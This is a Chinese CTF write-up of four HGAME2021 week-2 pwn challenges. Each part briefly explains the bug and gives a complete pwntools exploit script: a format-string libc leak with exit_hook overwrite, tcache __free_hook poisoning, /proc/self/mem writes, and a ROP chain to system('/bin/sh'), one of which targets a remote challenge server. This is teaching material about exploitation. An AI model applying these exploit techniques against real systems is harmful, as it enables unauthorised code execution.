HGAME2021 week2 pwn writeup
week2一共有4道pwn题
killerqueen
有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了。
第一次choose1的时候,可以输入0,泄露weather,第二次choose1的时候,就可以让v1==0xFFFFFFFE,进入if分支给s输入值。这里的s的栈地址和存在格式化字符串的栈地址是共享的,并且没有偏移。
这样就有两次机会使用格式化字符串,第一次先泄露libc地址,第二次用格式化字符串进行写操作。刚开始我是打exit_hook来拿shell。后来又用了一种方法,第一次泄露libc地址的时候同时泄露一个栈地址,然后再改写返回地址的位置为one_gadgets,这样也可以做。
1 #!/usr/bin/python 2 # -*- coding: UTF-8 -*- 3 from pwn import * 4 5 p = process('./pwn') 6 elf = ELF('./pwn') 7 libc = ELF('./libc.so.6') 8 context(os='linux',arch='amd64',log_level='debug') 9 10 def duan(): 11 gdb.attach(p) 12 pause() 13 14 p.sendlineafter('电话\n','0') 15 choose = 4294967294-int(p.recvuntil(':')[:-1]) 16 p.sendafter('什么\n','bhxdn') 17 p.send('a') 18 p.sendlineafter('电话\n',str(choose)) 19 payload = 'aaaaaaaa%47$p' 20 p.sendafter('电话号码是——\n',payload) 21 22 p.recvuntil('aaaaaaaa') 23 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main'] 24 print hex(libc_base) 25 exit_hook = libc_base+0x619060+3840 26 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 27 shell = libc_base+og[6] 28 payload = fmtstr_payload(6,{exit_hook:shell},write_size='short') 29 30 p.sendafter('什么\n',payload) 31 p.sendafter('什么\n','bhxdn') 32 p.interactive()
patriot’s note
ubuntu18.04下的题,很简单,泄露libc后直接打__free_hook就能出。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 def add(size): 12 p.sendlineafter('exit\n','1') 13 p.sendlineafter('write?\n',str(size)) 14 def edit(index,content): 15 p.sendlineafter('exit\n','3') 16 p.sendlineafter('edit?\n',str(index)) 17 p.send(content) 18 def show(index): 19 p.sendlineafter('exit\n','4') 20 p.sendlineafter('show?\n',str(index)) 21 def delete(index): 22 p.sendlineafter('exit\n','2') 23 p.sendlineafter('delete?\n',str(index)) 24 25 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 26 27 add(0x410) 28 add(0x20) 29 delete(0) 30 show(0) 31 libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['__malloc_hook']-96-0x10 32 print 'libc_base-->'+hex(libc_base) 33 free_hook = libc_base+libc.symbols['__free_hook'] 34 shell = libc_base+og[1] 35 delete(1) 36 edit(1,p64(free_hook)) 37 add(0x20) 38 add(0x20) 39 edit(3,p64(shell)) 40 delete(1) 41 p.interactive()
the_shop_of_cosmos
在给了hint之后,才知道是考proc文件系统,在百度了一番之后鼓捣了出来,感觉又学到新知识了。
前置知识
/proc目录
Linux系统内核提供了一种通过/proc文件系统,在程序运行时访问内核数据,改变内核设置的机制。/proc是一种伪文件结构,也就是说是仅存在于内存中,不存在于外存中的。/proc中一般比较重要的目录是sys,net和scsi,sys目录是可写的,可以通过它来访问和修改内核的参数。
/proc中还有一些以PID命名(进程号)的进程目录,可以读取对应进程的信息。另外还有一个/self目录,用于记录本进程的信息。
/proc/self目录
由上面的可知,我们可以通过/proc/$PID/目录来获得该进程的信息,但是这个方法需要知道进程的PID是多少,在fork、daemon等情况下,PID可能还会发生变化。所以Linux提供了self目录,来解决这个问题,这个目录比较独特,不同的进程来访问获得的信息是不同的,内容等价于/proc/本进程PID/目录下的内容。所以可以通过self目录直接获得自身的信息,不需要知道PID。
/proc/self/maps
这个文件用于记录当前进程的内存映射关系,类似于gdb下的vmmap指令,通过读取该文件可以获得内存代码段基地址。
/proc/self/mem
该文件记录的是进程的内存信息,通过修改该文件相当于直接修改进程的内存。这个文件是可读可写的,但是并不能直接进行读,需要结合maps的映射信息来确定读的偏移值,无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取出内容。
也可以通过写入mem文件来直接写入内存,例如直接修改代码段写入shellcode、修改free_hook为one_gadgets等来拿shell。
利用思路
0day1可以用来读取文件,可以用这个来读取/proc/self/maps来获得libc基地址。
程序存在整数溢出,可以利用这个来修改钱,就可以使用0day2了,用0day2来写__free_hook为one_gadgets就可以拿到shell了。因为0day2最后会调用free函数。
同时,还有一种比较稳定方法是修改__free_hook-8的位置为"/bin/sh",修改__free_hook为system,这样执行free的时候,会执行system,此时的rdi正好指向binsh字符串,可以稳定的拿到shell。
1 from pwn import * 2 3 p = process('./pwn') 4 libc = ELF('./libc.so.6') 5 context.log_level = 'debug' 6 7 def duan(): 8 gdb.attach(p) 9 pause() 10 11 p.sendlineafter('>> ','3') 12 p.sendlineafter('>> ','-100') 13 p.sendlineafter('>> ','2') 14 p.sendlineafter('>> ','1') 15 p.sendlineafter('>> ','/proc/self/maps\x00') 16 p.recvuntil('7f') 17 libc_base = '7f'+p.recv(10) 18 libc_base = int(libc_base,16) 19 print 'libc_base-->'+hex(libc_base) 20 print 'puts-->'+hex(libc.symbols['puts']) 21 22 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 23 shell = libc_base+og[5] 24 25 p.sendlineafter('>> ','3') 26 p.sendlineafter('>> ','1') 27 p.sendlineafter('>> ','/proc/self/mem\x00') 28 p.sendlineafter('>> ',str(libc_base+libc.symbols['__free_hook'])) 29 p.sendlineafter('>> ','8') 30 p.sendafter('>> ',p64(shell)) 31 p.interactive()
参考文章:https://www.anquanke.com/post/id/218886#h3-13
rop_primary
先算两个矩阵相乘,然后就可以rop了,第一次做的时候用system怎么都做不出来,但是用ROPgadget做出来了。后来在system加了一个ret,发现可以打通了,应该是栈对齐的问题。(只知道这么多,具体细节可以参考ex师傅的博客:http://blog.eonew.cn/archives/958)
1 from pwn import * 2 from LibcSearcher import * 3 4 context(os='linux',arch='amd64',log_level='debug') 5 elf=ELF('./pwn') 6 puts_plt_addr=0x401040 7 vuln_addr=0x40157B 8 pop_rdi=0x401613 9 libc_start_main_got_addr =0x403fe8 10 p=remote('159.75.104.107',30372) 11 puts_addr=0x404020 12 putchar_addr=0x404018 13 puts_got = 0x000404020 14 15 ha=0 16 hb=0 17 lista=[] 18 listb=[] 19 p.recvuntil('A:\n') 20 a = p.recvline() 21 la=a.count('\t') 22 while 1: 23 if a == 'B:\n': 24 break 25 else: 26 lista1=[] 27 i = 0 28 while 1: 29 try: 30 lista1.append(a.split("\t")[i]) 31 i += 1 32 except: 33 break 34 lista.append(lista1[:-1]) 35 ha+=1 36 a = p.recvline() 37 38 b = p.recvline() 39 lb=b.count('\t') 40 while 1: 41 if b == 'a * b = ?\n': 42 break 43 else: 44 listb1=[] 45 i = 0 46 while 1: 47 try: 48 listb1.append(b.split("\t")[i]) 49 i += 1 50 except: 51 break 52 listb.append(listb1[:-1]) 53 hb+=1 54 b = p.recvline() 55 for i in range(ha): 56 for j in range(lb): 57 num=0 58 for k in range(la): 59 num+=int(lista[i][k])*int(listb[k][j]) 60 p.sendline(str(num)) 61 62 p.recvuntil('try your best\n') 63 payload=0x30*'A'+8*'A'+p64(pop_rdi)+p64(puts_got)+p64(puts_plt_addr)+p64(vuln_addr) 64 print(payload) 65 p.sendline(payload) 66 libc_start_main_addr = u64(p.recv(6).ljust(8,'\x00')) 67 libc = LibcSearcher("puts", libc_start_main_addr) 68 print "__libc_start_main_addr: " + hex(libc_start_main_addr) 69 libcbase = libc_start_main_addr - libc.dump("puts") 70 print(hex(libcbase)) 71 system_addr = libcbase + libc.dump("system") 72 binsh_addr = libcbase + libc.dump("str_bin_sh") 73 print "system_addr: " + hex(system_addr) 74 print "binsh_addr: " + hex(binsh_addr) 75 p.recvuntil('try your best\n') 76 77 ret = 0x00401260 78 p.sendline('A'*0x38+p64(pop_rdi)+p64(binsh_addr)+p64(ret)+p64(system_addr)) 79 #og = [0xe6c7e,0xe6c81,0xe6c84] 80 #shell = libcbase+og[0] 81 #pop_r12_r13_r14_r15 = 0x000040160c 82 #p.sendline('A'*0x38+p64(pop_r12_r13_r14_r15)+p64(0)*0x4+p64(shell)) 83 p.interactive()
后记
题目还行,感觉the_shop_of_cosmos那道题出的挺好的,学到东西了。第二周over!